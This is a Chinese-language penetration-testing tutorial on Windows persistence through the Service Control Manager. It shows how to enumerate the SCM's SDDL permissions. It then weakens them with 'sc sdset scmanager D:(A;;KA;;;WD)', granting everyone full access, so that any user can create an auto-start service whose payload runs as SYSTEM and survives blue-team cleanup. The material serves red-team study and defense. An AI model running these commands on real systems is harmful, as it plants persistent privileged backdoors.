执行以下命令将快速检索服务控制管理器实用程序的 SDDL 权限。
sc sdshow scmanager
服务控制管理器 – 安全描述符
PowerShell 还可用于枚举所有用户组的 SDDL 权限并将其转换为可读格式。
$SD = Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\Schedule\Security\
$sddl = ([wmiclass]"Win32_SecurityDescriptorHelper").BinarySDToSDDL($SD.Security).Sddl
$SecurityDescriptor = ConvertFrom-SddlString -Sddl $sddl
$SecurityDescriptor.DiscretionaryAcl
第二命令我敲错了,改了一下没问题了
通过 PowerShell 枚举权限
下面的命令将枚举“ scmanager ”实用程序的权限并显示关联的 SDDL 权限。
sc sdshow scmanager showrights
服务控制管理器 – 权限枚举
具有标准级别访问权限的用户无法在 Windows 环境中创建服务。此权限仅属于高级用户,例如本地管理员。但是,修改服务控制管理器的安全描述符权限也可能允许任何用户创建将在 SYSTEM 帐户上下文下运行的服务。使用安全描述符定义语言,可以通过执行以下命令来修改这些权限(如果提示权限不足或者无法访问 - 使用管理员方式打开CMD):
sc.exe sdset scmanager D:(A;;KA;;;WD)
服务配置实用程序可用于创建新服务。“ binPath ”参数可以存储服务启动后将执行的任意有效负载。需要注意的是,由于服务控制管理器的权限发生了变化,非提升用户也可以在windows环境上创建新的服务。如果蓝队删除了恶意服务,权限仍将保留,允许标准用户继续创建新服务以保持持久性。
sc create pentestlab displayName= "pentestlab" binPath= "C:\Windows\ces.exe" start= auto
当系统再次启动时,该服务将自动启动,并且有效负载将以系统级别权限执行。